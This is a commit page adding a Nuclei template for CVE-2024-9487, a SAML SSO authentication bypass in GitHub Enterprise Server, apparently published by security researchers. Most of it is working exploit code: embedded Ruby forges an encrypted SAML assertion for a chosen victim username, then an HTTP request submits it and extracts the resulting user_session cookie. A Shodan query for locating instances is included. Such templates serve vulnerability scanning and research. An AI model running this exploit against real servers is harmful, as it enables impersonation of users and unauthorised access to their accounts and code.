Create CVE-2024-9487 (GitHub Enterprise - SAML Authentication Bypass) (#11173)
* Create CVE-2024-9487.yaml * misc updates * misc update in name --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> Co-authored-by: Sandeep Singh <sandeep@projectdiscovery.io>patch-14
parent
70742a41d1
commit
3599719c4a
|
@ -0,0 +1,190 @@
|
|||
id: CVE-2024-9487
|
||||
|
||||
info:
|
||||
name: GitHub Enterprise - SAML Authentication Bypass
|
||||
author: iamnoooob,rootxharsh,pdresearch
|
||||
severity: critical
|
||||
description: |
|
||||
An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.
|
||||
reference:
|
||||
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
|
||||
- https://github.com/advisories/GHSA-g83h-4727-5rpv
|
||||
classification:
|
||||
epss-score: 0.00045
|
||||
epss-percentile: 0.16808
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"GitHub Enterprise"
|
||||
tags: github,ghe,saml,auth-bypass,sso
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- ruby
|
||||
|
||||
source: |
|
||||
## Variable Usage:
|
||||
# username - Victim Github Username/Email to impersonate.
|
||||
# SAMLResponse - SAML Response body.
|
||||
# metadata_url - IDP's Metadata URL.
|
||||
# RelayState - Relay state associated with the SAML Response body.
|
||||
|
||||
require 'nokogiri'
|
||||
require 'openssl'
|
||||
require 'base64'
|
||||
require 'cgi'
|
||||
require 'open-uri'
|
||||
saml_response_xml = Base64.decode64(CGI.unescape(ENV['SAMLResponse']))
|
||||
saml_response = Nokogiri::XML(saml_response_xml)
|
||||
namespaces = {'ds' => 'http://www.w3.org/2000/09/xmldsig#','saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion','saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol'}
|
||||
issuer = saml_response.xpath('//saml2:Issuer', namespaces).first.text
|
||||
|
||||
metadata_idp_url = (ENV['metadata_url'])
|
||||
# URL to fetch the XML from
|
||||
url = "#{ENV['RootURL']}/saml/metadata"
|
||||
begin
|
||||
# Open the URL and read the XML
|
||||
xml_content = URI.open(url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
|
||||
xml_content_idp = URI.open(metadata_idp_url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
|
||||
# Parse the XML content with Nokogiri
|
||||
doc = Nokogiri::XML(xml_content)
|
||||
idp_doc = Nokogiri::XML(xml_content_idp)
|
||||
|
||||
# Extract the ds:X509Certificate
|
||||
certificate = doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')
|
||||
audience = doc.at_xpath('//md:EntityDescriptor/@entityID').value
|
||||
recipient = doc.at_xpath('//md:AssertionConsumerService/@Location').value
|
||||
idp_cert = idp_doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')
|
||||
|
||||
|
||||
# Print the extracted certificate
|
||||
if certificate
|
||||
enc_cert = Base64.decode64("#{certificate.text.strip}")
|
||||
else
|
||||
puts "ds:X509Certificate not found in the XML."
|
||||
end
|
||||
|
||||
rescue OpenURI::HTTPError => e
|
||||
puts "HTTP Error: #{e.message}"
|
||||
rescue => e
|
||||
puts "An error occurred: #{e.message}"
|
||||
end
|
||||
signed_assertion_xml = <<-XML
|
||||
<saml2:Assertion ID="id1423912998721389200353112" IssueInstant="2024-10-13T09:53:46.851Z" Version="2.0" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">issuer_replace</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id1423912998721389200353112"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>2n9HGB3mHU+gxo8DJrIw0MwT/Gs7/agpmo+C1sb7mtU=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>OYOIw4wMFxm3OaG/n7YbQxcWKAFDmUjD33WIQJ3VgdsWdfV141v34AcV0tQ3A5dh9vWsM7/Kn3D0HETJzylJUaI4HhWWkNHrGpPX07Tjd0Yk7y9cD3+AzjIIsYlLGtpHFQ6jNAIzq4BumR+sb0ERQaG7IQqxgkCRY49YFtcJryxwjsgu/LD4gI7wOLdWh2cnZgReH5s9hXzyXaRoziUNdSv5McZx/T3VV76qGE2GZbQUGnBm9jwHjGriedi1PksKZxxcKdsumXk20i+fWEU8ueQJYm1mIHQa5bn2AVgE8D1grOYlhAOgjV8ByXZB0hC0Zkrgth9h1ij9rY9yBRxPVw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>cert_replace</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user_replace</saml2:NameID><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData Recipient="recipient_replace"/></saml2:SubjectConfirmation></saml2:Subject><saml2:Conditions xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AudienceRestriction><saml2:Audience>audience_replace</saml2:Audience></saml2:AudienceRestriction></saml2:Conditions><saml2:AuthnStatement AuthnInstant="2024-10-13T09:27:23.840Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement><saml2:Attribute Name="emails" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user_replace</saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion>
|
||||
XML
|
||||
|
||||
signed_assertion_xml = signed_assertion_xml.gsub "cert_replace", idp_cert
|
||||
doc = Nokogiri::XML(signed_assertion_xml)
|
||||
|
||||
signed_assertion_xml = doc.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
|
||||
|
||||
cert = enc_cert
|
||||
cert = OpenSSL::X509::Certificate.new(cert)
|
||||
public_key = cert.public_key
|
||||
|
||||
# Encrypt the signed assertion node using AES and RSA for key wrapping
|
||||
def encrypt_assertion(assertion_node, rsa_public_key)
|
||||
# Create a random AES key for encrypting the data
|
||||
aes_key = OpenSSL::Cipher.new('AES-256-CBC').random_key
|
||||
|
||||
# Encrypt the signed assertion (as an XML string)
|
||||
cipher = OpenSSL::Cipher.new('AES-256-CBC')
|
||||
cipher.encrypt
|
||||
cipher.key = aes_key
|
||||
|
||||
encrypted_data = cipher.update(assertion_node) + cipher.final
|
||||
|
||||
# Encrypt the AES key using the RSA public key
|
||||
encrypted_aes_key = rsa_public_key.public_encrypt(aes_key, 4)
|
||||
|
||||
|
||||
# Base64 encode both the encrypted data and the encrypted AES key
|
||||
encrypted_data_b64 = Base64.encode64(encrypted_data)
|
||||
encrypted_aes_key_b64 = Base64.encode64(encrypted_aes_key)
|
||||
encrypted_assertion_xml = <<-XML
|
||||
<saml:EncryptedAssertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
|
||||
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
|
||||
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/>
|
||||
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
<xenc:EncryptedKey>
|
||||
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/>
|
||||
<xenc:CipherData>
|
||||
<xenc:CipherValue>#{encrypted_aes_key_b64}</xenc:CipherValue>
|
||||
</xenc:CipherData>
|
||||
</xenc:EncryptedKey>
|
||||
</ds:KeyInfo>
|
||||
<xenc:CipherData>
|
||||
<xenc:CipherValue>#{encrypted_data_b64}</xenc:CipherValue>
|
||||
</xenc:CipherData>
|
||||
</xenc:EncryptedData>
|
||||
</saml:EncryptedAssertion>
|
||||
XML
|
||||
|
||||
Nokogiri::XML(encrypted_assertion_xml)
|
||||
end
|
||||
|
||||
# Parse the signed assertion into Nokogiri XML document
|
||||
doc = Nokogiri::XML(signed_assertion_xml)
|
||||
assertion_node = doc.at('//saml2:Assertion', namespaces)
|
||||
assertion_node_str= assertion_node.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
|
||||
assertion_node_str = assertion_node_str.gsub! "user_replace", "#{ENV['username']}"
|
||||
assertion_node_str = assertion_node_str.gsub! "issuer_replace", issuer
|
||||
assertion_node_str = assertion_node_str.gsub! "recipient_replace", recipient
|
||||
assertion_node_str = assertion_node_str.gsub! "audience_replace", audience
|
||||
assertion_node_1 = Nokogiri::XML(assertion_node_str)
|
||||
assertion_node_dup = assertion_node_1.dup
|
||||
assertion_node_dup.at_xpath("//ds:Signature", namespaces).remove
|
||||
|
||||
assertion_node_dup.xpath('//text()').each do |text_node|
|
||||
text_node.content = text_node.text.strip
|
||||
end
|
||||
|
||||
canonical_xml = assertion_node_dup.canonicalize(
|
||||
Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0,
|
||||
[], # InclusiveNamespaces PrefixList
|
||||
false # WithComments
|
||||
)
|
||||
|
||||
# Compute the SHA-256 Digest
|
||||
digest = OpenSSL::Digest::SHA256.digest(canonical_xml)
|
||||
digest_base64 = Base64.encode64(digest).strip
|
||||
assertion_node_1.at_xpath("//ds:DigestValue", namespaces).content = digest_base64
|
||||
final_assertion_node_str = assertion_node_1.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
|
||||
encrypted_assertion_node = encrypt_assertion("padinggggggggggg"+final_assertion_node_str, public_key)
|
||||
encrypted_assertion_node_str = encrypted_assertion_node.to_xml
|
||||
|
||||
#create new saml doc
|
||||
|
||||
saml_resp_node = saml_response.at('/saml2p:Response', namespaces)
|
||||
saml_resp_sign_node = saml_response.at('/saml2p:Response/ds:Signature', namespaces)
|
||||
saml_resp_sign_key_node = saml_response.at('/saml2p:Response/ds:Signature/ds:KeyInfo', namespaces)
|
||||
object_node = Nokogiri::XML::Node.new("Object", saml_resp_sign_node)
|
||||
object_node.namespace = saml_resp_sign_node.namespace
|
||||
object_node.add_child(saml_resp_node.dup)
|
||||
saml_resp_sign_key_node.add_next_sibling(object_node)
|
||||
encrypted_assertion_node = Nokogiri::XML(encrypted_assertion_node_str)
|
||||
encrypted_assertion_node1 = encrypted_assertion_node.at_xpath('//saml2:EncryptedAssertion', namespaces )
|
||||
saml_response.at_xpath('/saml2p:Response/saml2:EncryptedAssertion', namespaces).replace(encrypted_assertion_node1)
|
||||
saml_resp_node['ID'] = saml_resp_node['ID'][0..-3]+"ae"
|
||||
puts CGI.escape(Base64.strict_encode64(saml_response.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)))
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /saml/consume HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Cookie: saml_csrf_token={{RelayState}}; saml_csrf_token_legacy={{RelayState}};
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
RelayState={{RelayState}}&SAMLResponse={{code_response}}
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(header,"dotcom_user")'
|
||||
- 'status_code == 302'
|
||||
condition: and
|
||||
|
||||
extractors:
|
||||
- type: kval
|
||||
kval:
|
||||
- user_session
|
Loading…
Reference in New Issue